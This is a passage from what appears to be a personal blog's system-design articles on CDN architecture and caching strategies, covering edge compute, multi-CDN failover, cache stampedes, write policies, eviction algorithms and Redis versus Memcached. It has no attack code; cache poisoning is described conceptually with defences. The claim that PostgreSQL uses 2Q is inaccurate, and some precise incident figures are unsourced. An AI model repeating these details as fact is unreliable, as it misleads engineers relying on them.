- Faster cache fills

**Network topology:**

- Shield in same region as majority of users
- Reduces inter-region traffic costs

**Trade-offs:**

- ✅ Shield in origin region: faster fills, simpler networking
- ✅ Shield in user region: better hit ratio for regional traffic patterns
- ❌ Single shield: single point of failure, capacity bottleneck

**Common pattern:** Multiple shields in different regions, edge PoPs route to nearest shield.

## Edge Compute

Edge compute executes custom logic at CDN PoPs, enabling personalization and security enforcement without origin round-trips.

### Platform Comparison

| Characteristic | Cloudflare Workers    | Lambda@Edge                   | Fastly Compute               |
| -------------- | --------------------- | ----------------------------- | ---------------------------- |
| Runtime        | V8 isolates           | Node.js/Python                | WebAssembly                  |
| Cold start     | 0ms                   | ~50ms                         | Microseconds                 |
| Global PoPs    | 200+ cities           | 400+ locations                | 60+ PoPs                     |
| Memory limit   | 128MB                 | 128MB (viewer), 10GB (origin) | 150MB                        |
| Execution time | 30s (paid)            | 5s (viewer), 30s (origin)     | 120s                         |
| Languages      | JavaScript/TypeScript | JS, Python, Java, Go, C#      | Rust, Go, JS, AssemblyScript |

### Cold Start Implications

**Cloudflare Workers:** V8 isolates share process across requests. No cold start—isolate spins up in <5ms. Memory overhead is 1/10 of full Node.js process.

**Lambda@Edge:** Functions pre-warmed at edge locations. No traditional cold start, but provisioned concurrency has limits. Origin-facing functions have larger memory/time limits.

**Fastly Compute:** WebAssembly instantiation in microseconds via Wasmtime. Every request is isolated for security—no shared state between requests.

### Edge Compute Use Cases

**A/B testing at edge:**

```javascript
// Cloudflare Worker
addEventListener("fetch", (event) => {
  const bucket = Math.random() < 0.5 ? "A" : "B"
  const url = new URL(event.request.url)
  url.pathname = `/${bucket}${url.pathname}`
  event.respondWith(fetch(url))
})
```

No origin involvement—experiment assignment happens at edge.

**Personalization:**

- Geo-based content (currency, language)
- Device-based optimization (image sizing)
- User segment targeting (from cookie/header)

**Security:**

- Bot detection before origin
- Request validation/sanitization
- Rate limiting per client

### Trade-offs: Edge Compute vs. Origin Logic

| Factor       | Edge Compute                  | Origin Logic            |
| ------------ | ----------------------------- | ----------------------- |
| Latency      | 10-30ms                       | 100-400ms               |
| State access | Limited (KV, Durable Objects) | Full database access    |
| Debugging    | More complex (distributed)    | Standard tooling        |
| Cost         | Per-request pricing           | Per-compute pricing     |
| Capabilities | Constrained runtime           | Full language/framework |

**Decision guidance:**

- Edge: Request routing, simple transformations, caching decisions
- Origin: Business logic, database transactions, complex computations

## Multi-CDN Strategies

Multi-CDN distributes traffic across multiple CDN providers for availability, performance, and vendor diversification.

### Architecture Patterns

**Primary/Backup:**

```
Traffic → Primary CDN (100%) → Origin
                ↓ (on failure)
         Backup CDN (failover)
```

**Active-Active:**

```
Traffic → Load Balancer → CDN A (50%)  → Origin
                       → CDN B (50%)
```

**Performance-Based:**

```
Traffic → DNS/Traffic Manager → Fastest CDN for user region → Origin
```

### Health Checking Strategy

Multi-level health checks required:

1. **DNS resolution:** Can we resolve the CDN endpoint?
2. **Network connectivity:** Can we reach the PoP?
3. **HTTP response:** Is the CDN returning expected status codes?
4. **Content integrity:** Is the response content correct (hash check)?
5. **Performance:** Is latency within acceptable bounds?

**Check frequency:** Every 10-30 seconds from multiple geographic locations.

### Failover Timing

| Check Type        | Failure Detection       | Full Failover |
| ----------------- | ----------------------- | ------------- |
| DNS-based         | 30-60s (DNS TTL)        | 1-5 minutes   |
| Anycast           | <1s (BGP)               | 10-30 seconds |
| Active monitoring | 10-30s (check interval) | 30-60 seconds |

### Trade-offs

- ✅ 99.999% availability (single CDN: 99.9% typical)
- ✅ Performance optimization per region
- ✅ Vendor negotiation leverage
- ❌ Cache fragmentation (content split across CDNs)
- ❌ Operational complexity (multiple dashboards, APIs, configs)
- ❌ Cost overhead (management layer + multiple CDN contracts)

**Real-world:** Major streaming platforms (Disney+, HBO Max) use multi-CDN with intelligent traffic steering. Fallback happens within seconds of degradation detection.

## Failure Modes and Edge Cases

### Cache Stampede (Thundering Herd)

**Scenario:** Cache entry expires. Thousands of simultaneous requests all experience cache miss. All hit origin simultaneously.

**Real example (Shopify Black Friday 2019):**

- Product recommendation cache expired at 2:47 AM
- 47,000 concurrent requests hit primary database in 3 seconds
- Database CPU spiked to 98%, response time: 20ms → 4,500ms
- Checkout pages timed out for 8 minutes
- Estimated revenue impact: $10M

**Mitigations:**

1. **Request collapsing:** Only one request goes to origin; others wait
2. **Probabilistic early expiration:** Randomly refresh before TTL (jitter)
3. **Stale-while-revalidate:** Serve stale during refresh
4. **Origin capacity:** Provision for cache-miss scenarios (2-3× baseline)

### Cache Poisoning

**Attack vector:**

1. Attacker sends request with malicious headers/parameters
2. Origin returns error or malformed response based on input
3. CDN caches the poisoned response
4. All subsequent users receive poisoned content

**Cache-Poisoned Denial of Service (CPDoS):**

- Attacker triggers 400/500 error with specific request
- Error page cached (some CDNs cache error responses)
- All users see error page until TTL expires or purge

**Prevention:**

1. **Normalize cache keys:** Strip unexpected headers/params before caching
2. **Don't cache errors:** `Cache-Control: no-store` on error responses
3. **Validate Vary headers:** Don't vary on attacker-controllable inputs
4. **Web Application Firewall:** Block malformed requests at edge

### Origin Overload During Purge

**Scenario:** Global purge of popular content. All PoPs simultaneously request fresh content.

**If normal cache hit ratio is 98%:**

- 1,000,000 requests/minute normally
- 20,000 reach origin (2% miss rate)
- After purge: 1,000,000 requests hit origin
- 50× load spike

**Mitigations:**

1. **Soft purge:** Serve stale while one request refreshes
2. **Regional rollout:** Purge one region at a time
3. **Warm cache first:** Pre-populate cache before purge propagates
4. **Origin autoscaling:** Prepare for post-purge spike

### BGP Route Flapping (Anycast)

**Scenario:** BGP route oscillates between PoPs. User connections reset on each flip.

**Impact:**

- TCP connections interrupted
- TLS sessions terminated
- Long-lived connections (WebSocket, streaming) fail

**Mitigations:**

1. **BGP dampening:** Suppress unstable routes
2. **Session persistence:** Use DNS-based routing for stateful connections
3. **Anycast for UDP:** DNS, some video streaming
4. **Unicast for TCP:** Long-lived connections

## Real-World CDN Implementations

### Netflix Open Connect

**Scale:** 8,000+ custom appliances (OCAs) across 1,000+ ISPs globally.

**Architecture:**

- **Control plane:** Runs in AWS (metadata, routing decisions)
- **Data plane:** OCAs in ISP networks (content delivery)

**Key design decisions:**

1. **Push model with predictive fill:** ML analyzes traffic patterns. If "Stranger Things" is popular in Brazil Friday evenings, content pre-positioned Thursday night during off-peak "fill windows."

2. **ISP embedding:** OCAs deployed inside ISP networks, not at internet exchange points. Traffic never traverses peering links—lowest possible latency.

3. **Content-addressable storage:** Files named by content hash. Infinite TTL, no invalidation needed. New encode = new filename.

**Outcome:** Saved $1.25B in bandwidth costs by 2021.

### Cloudflare

**Scale:** 200+ cities, 95% of internet population within 50ms, 388+ Tbps capacity.

**Architecture:**

1. **Full anycast:** Every PoP announces same IP ranges. No single point of failure.

2. **Tiered cache with Cache Reserve:**
   - L1: Edge PoP RAM cache (hot content)
   - L2: Regional shield RAM cache
   - L3: Cache Reserve persistent storage (long-tail)

3. **Workers at every PoP:** Edge compute runs on same servers as caching. Zero network hop between compute and cache.

**Design rationale:** Cloudflare optimizes for developer experience (Workers) and security (DDoS absorbed by anycast). Caching is foundational but not the only value prop.

### Akamai

**Scale:** 4,100+ edge nodes across 130+ countries.

**Architecture:**

1. **Deep ISP embedding:** Servers deployed inside ISP networks, not just at peering points. 1-2 network hops from end users.

2. **Dynamic Site Acceleration:** Not just static caching—TCP optimization, route optimization, prefetching for dynamic content.

3. **EdgeWorkers:** JavaScript at edge for personalization without origin round-trips.

**Design rationale:** Akamai prioritizes latency above all. Deep ISP deployment means lower hop counts than competitors, critical for real-time applications (gaming, financial services).

### Comparison Summary

| Aspect               | Netflix Open Connect    | Cloudflare              | Akamai              |
| -------------------- | ----------------------- | ----------------------- | ------------------- |
| Deployment model     | ISP-embedded appliances | Anycast PoPs            | ISP-embedded + PoPs |
| Primary optimization | Bandwidth cost          | Security + developer UX | Latency             |
| Caching model        | Push (predictive)       | Pull + tiered           | Pull + DSA          |
| Edge compute         | N/A                     | Workers (V8)            | EdgeWorkers (JS)    |
| Content type         | Video (single tenant)   | General purpose         | General purpose     |

## Monitoring and Observability

### Key Metrics

**Cache Hit Ratio (CHR):**

```
CHR = (Cache Hits) / (Cache Hits + Cache Misses) × 100
```

**Target ranges:**

- Static-heavy sites: 85-95%
- Dynamic sites: 50-70%
- API endpoints: 30-60% (if cacheable at all)

**Warning:** "CHR" can be misleading. Clarify:

- Edge hit ratio vs. shield hit ratio vs. origin hit ratio
- Bytes vs. requests
- Cacheable vs. all traffic

**Time to First Byte (TTFB):**

| Source           | Typical Range | Target |
| ---------------- | ------------- | ------ |
| Edge cache hit   | 10-50ms       | <50ms  |
| Shield cache hit | 50-150ms      | <100ms |
| Origin fetch     | 200-500ms     | <300ms |

**Bandwidth Offload:**

```
Offload = (Bytes served from cache) / (Total bytes served) × 100
```

Different from CHR—a single large video hit offloads more bandwidth than thousands of small image hits.

### Alerting Thresholds

| Metric             | Warning      | Critical      |
| ------------------ | ------------ | ------------- |
| CHR drop           | >5% decrease | >15% decrease |
| Origin 5xx rate    | >0.1%        | >1%           |
| Edge latency p95   | >100ms       | >500ms        |
| Origin latency p95 | >500ms       | >2s           |

### Cache Key Debugging

When hit ratio drops unexpectedly:

1. **Check Vary headers:** New `Vary` header = cache fragmentation
2. **Query string changes:** New tracking params in URLs?
3. **Cache key config changes:** Host normalization removed?
4. **Content changes:** More dynamic content being served?
5. **Traffic pattern shift:** New geography, different popular content?

## Conclusion

CDN architecture centers on three fundamental trade-offs: freshness vs. latency (TTL selection), granularity vs. efficiency (cache key design), and origin protection vs. complexity (tiered caching). Every design decision involves balancing these tensions against your specific requirements.

For static assets, use versioned URLs with long TTLs—invalidation becomes a non-problem. For dynamic content, layer `stale-while-revalidate` with short `s-maxage` to balance freshness with origin protection. Always enable request collapsing and consider origin shielding when operating at scale.

The real-world implementations from Netflix, Cloudflare, and Akamai demonstrate that architectural choices depend heavily on what you're optimizing for: bandwidth cost (Netflix's push model), security and developer experience (Cloudflare's anycast + Workers), or raw latency (Akamai's deep ISP embedding).

## Appendix

### Prerequisites

- HTTP caching fundamentals (Cache-Control headers, ETags)
- DNS resolution basics
- TCP/IP networking concepts
- Basic understanding of distributed systems

### Summary

- **Request routing:** Anycast provides fastest failover; DNS-based offers more control
- **Cache keys:** Normalize aggressively, vary minimally—every variation fragments cache
- **TTL strategy:** Layer browser and CDN TTLs; use `stale-while-revalidate` for HTML
- **Invalidation:** Versioned URLs for assets, soft purge for content, cache tags for relationships
- **Origin protection:** Tiered caching + request collapsing can reduce origin load 10-100×
- **Edge compute:** Use for routing, personalization, security—not business logic

### References

- [RFC 9111: HTTP Caching](https://www.rfc-editor.org/rfc/rfc9111) — Authoritative HTTP caching specification
- [RFC 5861: HTTP Cache-Control Extensions for Stale Content](https://www.rfc-editor.org/rfc/rfc5861) — stale-while-revalidate, stale-if-error
- [Cloudflare CDN Reference Architecture](https://developers.cloudflare.com/reference-architecture/architectures/cdn/) — Tiered caching, Cache Reserve design
- [Fastly Caching Documentation](https://www.fastly.com/documentation/guides/concepts/edge-state/cache/) — Request collapsing, surrogate keys
- [Netflix Open Connect Overview](https://openconnect.netflix.com/Open-Connect-Overview.pdf) — ISP embedding, predictive fill
- [Cloudflare Workers vs Lambda Performance](https://blog.cloudflare.com/serverless-performance-comparison-workers-lambda/) — Edge compute benchmarks
- [Web Caching Explained (web.dev)](https://web.dev/articles/http-cache) — Browser caching interaction with CDN

### Terminology

- **PoP (Point of Presence):** Physical location with CDN servers
- **CHR (Cache Hit Ratio):** Percentage of requests served from cache
- **TTL (Time to Live):** Duration content remains fresh in cache
- **Origin Shield:** Intermediate cache layer protecting origin from edge misses
- **Anycast:** Routing technique where single IP is announced from multiple locations
- **BGP (Border Gateway Protocol):** Protocol for routing between autonomous systems
- **Surrogate Key:** Logical tag for group cache invalidation

---

## Caching Fundamentals and Strategies

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/caching-fundamentals-and-strategies
**Category:** System Design / System Design Fundamentals
**Description:** Understanding caching for distributed systems: design choices, trade-offs, and when to use each approach. From CPU cache hierarchies to globally distributed CDNs, caching exploits locality of reference to reduce latency and backend load—the same principle, applied at every layer of the stack.

# Caching Fundamentals and Strategies

Understanding caching for distributed systems: design choices, trade-offs, and when to use each approach. From CPU cache hierarchies to globally distributed CDNs, caching exploits locality of reference to reduce latency and backend load—the same principle, applied at every layer of the stack.

<figure>

![The caching hierarchy from CPU to origin server, showing typical latency at each layer](./the-caching-hierarchy-from-cpu-to-origin-server-showing-typical-latency-at-each-.svg)

<figcaption>The caching hierarchy from CPU to origin server, showing typical latency at each layer</figcaption>

</figure>

## Abstract

Caching is the answer to a performance gap between data consumer and source—whether that's CPU vs. DRAM (nanoseconds), application vs. database (milliseconds), or client vs. origin server (hundreds of milliseconds). The solution is always the same: insert a faster, smaller storage layer closer to the consumer that exploits **locality of reference**.

**The fundamental trade-off:** Every cache introduces a consistency problem. You gain speed but must manage staleness. The design decisions are:

1. **Write policy** (how data enters the cache): Write-through for correctness, write-back for throughput, write-around to prevent pollution
2. **Invalidation strategy** (how stale data leaves): TTL for simplicity, event-driven for accuracy, probabilistic early refresh to prevent stampedes
3. **Replacement algorithm** (what to evict when full): LRU for general workloads, scan-resistant policies (2Q, ARC) for database buffers
4. **Topology** (where caches live): In-process for speed, distributed for sharing, tiered for global reach

Netflix runs 400M cache ops/sec across 22,000 servers. Salesforce sustains 1.5M RPS at sub-millisecond P50 latency. The difference between success and cache stampede is understanding these trade-offs.

## The Principle of Locality

### Why Caching Works

Caching effectiveness depends on the **principle of locality of reference**—program access patterns are predictable:

**Temporal Locality:** Recently accessed data is likely accessed again. A variable in a loop, the current user's session, the trending video—all exhibit temporal locality.

**Spatial Locality:** Data near recently accessed locations will likely be accessed soon. Sequential instruction execution, array iteration, and related database rows benefit from spatial locality.

Caches exploit both: keeping recent items in fast memory (temporal) and fetching data in contiguous blocks (spatial). As Hennessy and Patterson note in _Computer Architecture: A Quantitative Approach_, these principles enabled the automatic management of multi-level memory hierarchies proposed by Kilburn et al. in 1962.

### The Memory Hierarchy

The processor-memory gap drove cache invention. CPU operations occur in nanoseconds; DRAM access takes tens to hundreds of nanoseconds. The [IBM System/360 Model 85](https://en.wikipedia.org/wiki/IBM_System/360_Model_85) (1969) was the first commercial system with cache memory—IBM called it "high-speed buffer storage."

Modern CPUs use multi-level hierarchies:

| Level | Typical Size | Latency    | Scope                   |
| ----- | ------------ | ---------- | ----------------------- |
| L1    | 32-64 KB     | ~1 ns      | Per core, split I/D     |
| L2    | 256-512 KB   | ~3-10 ns   | Per core or shared pair |
| L3    | 8-64 MB      | ~10-40 ns  | Shared across all cores |
| DRAM  | 16-512 GB    | ~50-100 ns | System memory           |

The same pattern—faster/smaller layers closer to the consumer—applies at every level of distributed systems.

## Design Choices: Write Policies

How data enters the cache determines consistency guarantees and performance characteristics.

### Write-Through

**Mechanism:** Every write goes to both cache and backing store synchronously. The write completes only when both succeed.

**Best when:**

- Data correctness is non-negotiable (financial transactions, user credentials)
- Read-heavy workload (writes are rare, so latency penalty is acceptable)
- Simple operational model required

**Trade-offs:**

- ✅ Data never stale—cache and store always consistent
- ✅ Simple mental model, easy debugging
- ✅ No data loss on cache failure
- ❌ Write latency includes backing store (often 10-100x slower)
- ❌ Every write hits the database, limiting write throughput

**Real-world example:** Banks and payment processors use write-through for transaction records. Stripe's payment processing ensures every charge is durably stored before confirming—a cache optimization that loses a payment would be catastrophic.

### Write-Back (Write-Behind)

**Mechanism:** Writes go to cache only; data is persisted to backing store asynchronously (batched or after delay).

**Best when:**

- Write throughput is critical
- Temporary data loss is acceptable
- Writes to same keys are frequent (only final value persisted)

**Trade-offs:**

- ✅ Lowest write latency (cache speed only)
- ✅ High throughput—batching amortizes database round-trips
- ✅ Coalesces multiple writes to same key
- ❌ Data loss risk if cache fails before persistence
- ❌ Complex recovery logic required
- ❌ Eventual consistency between cache and store

**Real-world example:** Netflix uses write-back for viewing history and analytics. Losing a few view counts during a cache node failure is acceptable; blocking playback to ensure durability is not. Facebook applies similar logic to engagement counters—likes and shares use write-back with periodic flush.

### Write-Around

**Mechanism:** Writes bypass the cache entirely, going directly to the backing store. Cache is populated only on reads.

**Best when:**

- Write-heavy workloads where written data isn't immediately read
- Bulk data ingestion or ETL pipelines
- Preventing cache pollution from one-time writes

**Trade-offs:**

- ✅ Cache contains only data that's actually read
- ✅ No cache pollution from write-heavy operations
- ✅ Simple—no write path through cache
- ❌ First read after write always misses (higher read latency)
- ❌ Not suitable when writes are immediately read

**Real-world example:** Data migration jobs and batch imports use write-around. When Instagram imports a user's photo library during account creation, those photos go directly to storage—caching them would evict actually-hot content.

### Decision Matrix: Write Policies

| Factor          | Write-Through             | Write-Back                    | Write-Around     |
| --------------- | ------------------------- | ----------------------------- | ---------------- |
| Consistency     | Strong                    | Eventual                      | Strong           |
| Write latency   | High (includes DB)        | Low (cache only)              | Low (DB only)    |
| Data loss risk  | None                      | Cache failure loses data      | None             |
| Cache pollution | Can pollute               | Can pollute                   | Avoided          |
| Best fit        | Read-heavy, critical data | Write-heavy, tolerant of loss | Bulk writes, ETL |

## Design Choices: Cache Invalidation

"There are only two hard things in Computer Science: cache invalidation and naming things." — Phil Karlton

### TTL-Based Invalidation

**Mechanism:** Each cache entry has a Time-To-Live. After TTL expires, entry is either evicted or marked stale for revalidation.

**Best when:**

- Bounded staleness is acceptable
- No event system exists to signal changes
- Simple implementation required

**Implementation considerations:**

- **TTL jitter:** Add 10-20% randomness to prevent synchronized expiration
- **Stale-while-revalidate:** Serve stale content while refreshing in background

**Trade-offs:**

- ✅ Simple—no coordination with data source
- ✅ Guarantees maximum staleness
- ❌ Still serves stale data until TTL expires
- ❌ Short TTLs increase origin load; long TTLs increase staleness

**Real-world example:** CDNs rely heavily on TTL. Cloudflare's default behavior respects origin `Cache-Control: max-age` headers. For breaking news sites, this might be 60 seconds; for static assets, years.

### Event-Driven Invalidation

**Mechanism:** When source data changes, an event (message queue, pub/sub, webhook) triggers cache invalidation.

**Best when:**

- Data freshness is critical
- Change events are available from source system
- Invalidation must be immediate

**Implementation patterns:**

- **Publish on write:** Application publishes invalidation message when updating database
- **CDC-based:** Change Data Capture streams database changes to invalidation service
- **Cache tags:** Group related entries (Fastly's surrogate keys) for batch invalidation

**Trade-offs:**

- ✅ Near-immediate invalidation
- ✅ Only invalidates what changed
- ❌ Requires event infrastructure (Kafka, Redis Pub/Sub)
- ❌ Event delivery failures leave stale data
- ❌ More complex implementation

**Real-world example:** Fastly's surrogate keys enable surgical invalidation. When an e-commerce site updates one product, it purges only that product's cached pages—not the entire catalog. This reduced Shopify's cache invalidation scope by 99%+ compared to full purges.

### Probabilistic Early Refresh

**Mechanism:** Before TTL expires, each request has a small probability of triggering a background refresh. Probability increases as expiration approaches.

**Best when:**

- High traffic on cached items
- Cache stampede is a risk
- Origin can't handle synchronized refresh traffic

**The XFetch algorithm** (Vattani et al., UCSD):

```
recompute_if: random() < (time_since_compute / TTL) ^ beta
```

With `beta = 1.5`, this spreads refreshes smoothly before expiration.

**Trade-offs:**

- ✅ Eliminates cache stampede risk
- ✅ Cache stays warm—no cold misses
- ✅ Spreads origin load over time
- ❌ Slightly higher origin traffic (preemptive refreshes)
- ❌ More complex than pure TTL

**Real-world example:** Combined with TTL jitter, probabilistic refresh transforms a spike of 1,000 servers refreshing in 100ms into refreshes spread across 60+ seconds—a **60x reduction in peak origin load**. Major CDNs and Netflix use variants of this approach.

### Decision Matrix: Invalidation Strategies

| Factor         | TTL-Based               | Event-Driven           | Probabilistic Early        |
| -------------- | ----------------------- | ---------------------- | -------------------------- |
| Staleness      | Bounded by TTL          | Near-zero              | Bounded, but pre-refreshed |
| Complexity     | Low                     | High                   | Medium                     |
| Origin load    | Spiky at expiration     | Event-driven only      | Smooth                     |
| Infrastructure | None                    | Message queue required | None                       |
| Stampede risk  | High without mitigation | Low                    | Eliminated                 |

## Design Choices: Replacement Algorithms

When cache is full, which item to evict? The choice depends on workload characteristics.

### LRU (Least Recently Used)

**Mechanism:** Evict the item not accessed for the longest time. Implemented with hash map + doubly-linked list for O(1) operations.

**Best when:**

- General-purpose workloads
- Temporal locality is strong
- No sequential scan patterns

**Trade-offs:**

- ✅ Simple, well-understood
- ✅ Good hit rates for most workloads
- ❌ Vulnerable to scan pollution—one table scan evicts all hot data
- ❌ Doesn't consider access frequency

**Real-world example:** Browser caches typically use LRU. For user browsing patterns (revisiting recent pages), LRU works well. But a developer scrolling through 1000 search results pollutes the cache with one-time pages.

### LFU (Least Frequently Used)

**Mechanism:** Evict the item with fewest accesses. Track access count per item.

**Best when:**

- Long-term popularity matters more than recency
- Stable access patterns
- Cache warmup time is acceptable

**Trade-offs:**

- ✅ Retains genuinely popular items
- ✅ Scan-resistant
- ❌ New items easily evicted (low count)
- ❌ Historical pollution—formerly-popular items stick around
- ❌ Doesn't adapt to changing popularity

**Real-world example:** CDN caching of stable assets (company logos, jQuery library) benefits from LFU. These items are accessed constantly and shouldn't be evicted by a traffic spike to new content.

### 2Q (Two Queue)

**Mechanism:** Items must prove "hotness" before entering main cache. Uses three structures:

- `A1in`: Small FIFO for first-time accesses
- `A1out`: Ghost queue tracking recently evicted items
- `Am`: Main LRU for items accessed more than once

**Best when:**

- Database buffer pools
- Workloads with sequential scans mixed with random access
- Need scan resistance without complexity of ARC

**Trade-offs:**

- ✅ Excellent scan resistance
- ✅ Simple to implement (three queues)
- ✅ Low overhead compared to ARC
- ❌ Fixed ratio between queues (not adaptive)
- ❌ Cold items take longer to become hot

**Real-world example:** [PostgreSQL uses 2Q](https://arpitbhayani.me/blogs/2q-cache/) as its buffer cache algorithm. MySQL InnoDB uses a similar approach, splitting its buffer pool into young (5/8) and old (3/8) sublists. This prevents a single `SELECT *` from evicting production-critical indexes.

### ARC (Adaptive Replacement Cache)

**Mechanism:** Self-tuning policy balancing recency and frequency. Maintains four lists:

- `T1`: Recently seen once (recency)
- `T2`: Recently seen multiple times (frequency)
- `B1`, `B2`: Ghost lists tracking eviction history

The algorithm adapts the T1/T2 balance based on which ghost list sees more hits.

**Best when:**

- Workload characteristics change over time
- Can't tune cache parameters manually
- Need best-of-both LRU and LFU

**Trade-offs:**

- ✅ Adapts automatically to workload
- ✅ Combines benefits of LRU and LFU
- ✅ No manual tuning required
- ❌ Higher memory overhead (ghost lists)
- ❌ More complex implementation
- ❌ Patented by IBM (though patents expired ~2019)

**Real-world example:** ZFS uses ARC as its filesystem cache. IBM's DS8000 storage arrays use ARC for disk caching. The adaptive nature handles mixed workloads—backup jobs (scan) interleaved with production queries (random).

### Decision Matrix: Replacement Algorithms

| Factor          | LRU     | LFU               | 2Q        | ARC             |
| --------------- | ------- | ----------------- | --------- | --------------- |
| Scan resistance | Poor    | Good              | Excellent | Excellent       |
| Adaptation      | None    | None              | None      | Automatic       |
| Overhead        | Low     | Medium            | Low       | Medium          |
| Implementation  | Simple  | Medium            | Medium    | Complex         |
| Best fit        | General | Stable popularity | Databases | Mixed workloads |

## Design Choices: Distributed Cache Topology

### Consistent Hashing

The critical challenge: which node stores which key? Simple modulo hashing (`hash(key) % N`) fails when nodes change—adding one server remaps nearly every key.

**Consistent hashing** ([Karger et al., 1997](https://www.cs.princeton.edu/courses/archive/fall09/cos518/papers/chash.pdf)):

- Maps servers and keys onto a hash ring
- Keys route to first server clockwise from key's position
- Adding/removing servers affects only ~`1/N` of keys

**Virtual nodes** (100-200 per physical node) ensure even distribution. Without them, random server positions create load imbalance.

**Real-world example:** Discord uses consistent hashing with 1000 virtual nodes per physical node, achieving <5% load variance after node failures. DynamoDB and Cassandra use similar approaches.

### Redis vs Memcached

| Factor          | Redis                                                 | Memcached                     |
| --------------- | ----------------------------------------------------- | ----------------------------- |
| Data structures | Strings, lists, sets, hashes, sorted sets, streams    | Strings only                  |
| Threading       | Single-threaded commands (multi-threaded I/O in 6.0+) | Multi-threaded                |
| Clustering      | Built-in (Redis Cluster)                              | Client-side                   |
| Persistence     | RDB snapshots, AOF                                    | None                          |
| Pub/Sub         | Built-in                                              | None                          |
| Transactions    | MULTI/EXEC                                            | None                          |
| Typical ops/sec | ~100K/thread, ~500K with pipelining                   | Higher single-node throughput |

**Use Redis when:**

- Need data structures beyond key-value
- Require pub/sub, streams, or sorted sets
- Want built-in persistence and replication
- Implementing rate limiting, leaderboards, queues

**Use Memcached when:**

- Simple key-value caching only
- Maximum memory efficiency critical
- Legacy infrastructure already standardized
- Need to leverage multi-threading on many CPU cores

**Real-world example:** Salesforce migrated from Memcached to Redis at 1.5M RPS to gain data structures and pub/sub. Their P50 latency remained ~1ms, P99 ~20ms. The migration happened under live production traffic without downtime.

### In-Process vs Distributed vs Hybrid

**In-Process Cache** (e.g., Caffeine, Guava):

- ✅ Fastest (no network hop)
- ✅ No serialization overhead
- ❌ Per-instance duplication
- ❌ Lost on restart

**Distributed Cache** (e.g., Redis, Memcached):

- ✅ Shared across instances
- ✅ Survives restarts
- ❌ Network latency (~1ms)
- ❌ Serialization cost

**Hybrid** (local cache backed by distributed):

- ✅ Best latency for hot keys
- ✅ Shared for warm keys
- ❌ Two-layer invalidation complexity
- ❌ Potential inconsistency between layers

**Real-world example:** Salesforce uses hybrid caching for hot keys. At 1.5M RPS, hot keys would saturate Redis shards. Local caching with short TTL (1-5 seconds) handles bursts while Redis provides consistency.

## Real-World Examples

### Netflix EVCache: Global Cache at Scale

**Problem:** 200M+ subscribers globally need sub-10ms latency for personalization and catalog data.

**Architecture:**

- 22,000 Memcached servers across 4 regions
- 14.3 petabytes of cached data
- 400 million operations per second
- 30 million replication events globally

**Key decisions:**

1. **Eventual consistency:** Netflix tolerates stale data "as long as the difference doesn't hurt browsing or streaming experience." Strong consistency would require cross-region coordination, adding 100ms+ latency.
2. **Async replication:** Regional writes replicate asynchronously to other regions for disaster recovery.
3. **Write-back for analytics:** View counts and playback positions use write-back—losing a few data points is acceptable.

**Trade-off accepted:** During region failover, users may see slightly different recommendations. Netflix decided this was preferable to either: (a) cross-region latency on every request, or (b) unavailability during failures.

**Source:** [Netflix Global Cache Architecture - InfoQ](https://www.infoq.com/articles/netflix-global-cache/)

### Instagram: Redis Above Postgres

**Problem:** Timeline queries hitting Postgres directly couldn't scale—100ms queries needed to become 1ms.

**Architecture:**

- Redis caching layer above Postgres
- ~300 million photo-to-user-ID mappings in Redis indexes
- Separate caches for global data (replicated) vs local data (regional)

**Key insight:** Instead of caching query results, Instagram caches the **indexes** needed to construct feeds. A feed query becomes: (1) fetch follower photo IDs from Redis, (2) fetch photo metadata in parallel. This converted 100ms SQL queries into 1ms cache hits.

**Source:** [Instagram Database Scaling](https://medium.com/@mamidipaka2003/inside-high-traffic-databases-how-instagram-scales-postgresql-beyond-limits-0a4af13696ff)

### Facebook: Gutter Servers for Resilience

**Problem:** When a Memcached server fails, the thundering herd of cache misses can cascade to database failure.

**Solution: Gutter pool**

- ~1% of Memcached servers designated as "gutter"
- When primary server fails, clients fall back to gutter
- Gutter entries have short TTL (seconds, not minutes)
- Prevents stampede while failed server is replaced

**Trade-off:** Gutter servers see unpredictable load during failures. Facebook over-provisions them to handle any server's traffic.

**Source:** [Scaling Memcache at Facebook - USENIX NSDI 2013](https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final170_update.pdf)

## Common Pitfalls

### 1. Cache Stampede (Thundering Herd)

**The mistake:** Popular cached item expires. Before one request can repopulate it, thousands of concurrent requests find cache empty and all hit the database.

**Why it happens:** Under high concurrency, the window between cache miss and repopulation is enough for many requests to "pile up."

**The consequence:** Database receives 1000x normal load in seconds. Latency spikes, timeouts cascade, and the system can enter a failure spiral where cache never repopulates because database is too slow.

**Concrete example:** "Assume the page takes 3 seconds to render and traffic is 10 requests per second. When cache expires, 30 processes simultaneously recompute the rendering."

**The fix:**

1. **Distributed locking:** Only one request fetches from DB; others wait on lock
2. **Request coalescing (singleflight):** Deduplicate in-flight requests to same key
3. **Probabilistic early refresh:** Refresh before expiration with increasing probability
4. **Stale-while-revalidate:** Serve stale content while one request refreshes

**Example:** Twitter, Reddit, and Instagram have all documented stampede incidents. Probabilistic early refresh with TTL jitter reduces peak load by 60x.

### 2. Hot Key Saturation

**The mistake:** One extremely popular key receives disproportionate traffic, overloading the single shard/server that owns it.

**Why it happens:** Consistent hashing assigns one key to one primary server. A viral tweet, flash sale item, or breaking news article can receive millions of requests.

**The consequence:** One shard saturates while others idle. P99 latency spikes for all requests routed to that shard.

**The fix:**

1. **Key sharding:** Split `counter:item123` into `counter:item123:0` through `counter:item123:N`, aggregate on read
2. **Local caching:** In-process cache with 1-5 second TTL absorbs bursts
3. **Read replicas:** Multiple replicas of hot shard
4. **Proactive detection:** Monitor key access distribution, identify hot keys before they cause problems

**Example:** Salesforce built hot-key detection into their Memcached layer before migrating to Redis. This identified potential hot keys early, allowing mitigation before production impact.

### 3. Cache Pollution

**The mistake:** Caching data that won't be accessed again, evicting actually-useful entries.

**Why it happens:**

- Bulk operations (reports, exports) cache one-time data
- Sequential scans (full table scan) evict random-access hot data
- Write-through caches every write, even write-only data

**The consequence:** Hit ratio drops dramatically. Hot data constantly evicted and re-fetched.

**The fix:**

1. **Scan-resistant algorithms:** 2Q, ARC filter one-time accesses
2. **Write-around:** Bulk operations bypass cache
3. **Separate cache pools:** Analytics queries use different cache than production
4. **Cache admission policy:** Don't cache items below size/frequency threshold

**Example:** MySQL InnoDB's buffer pool uses a young/old sublist specifically to prevent `SELECT *` queries from evicting hot indexes.

### 4. Inconsistency Window Blindness

**The mistake:** Assuming cache is always consistent with source, leading to bugs when it isn't.

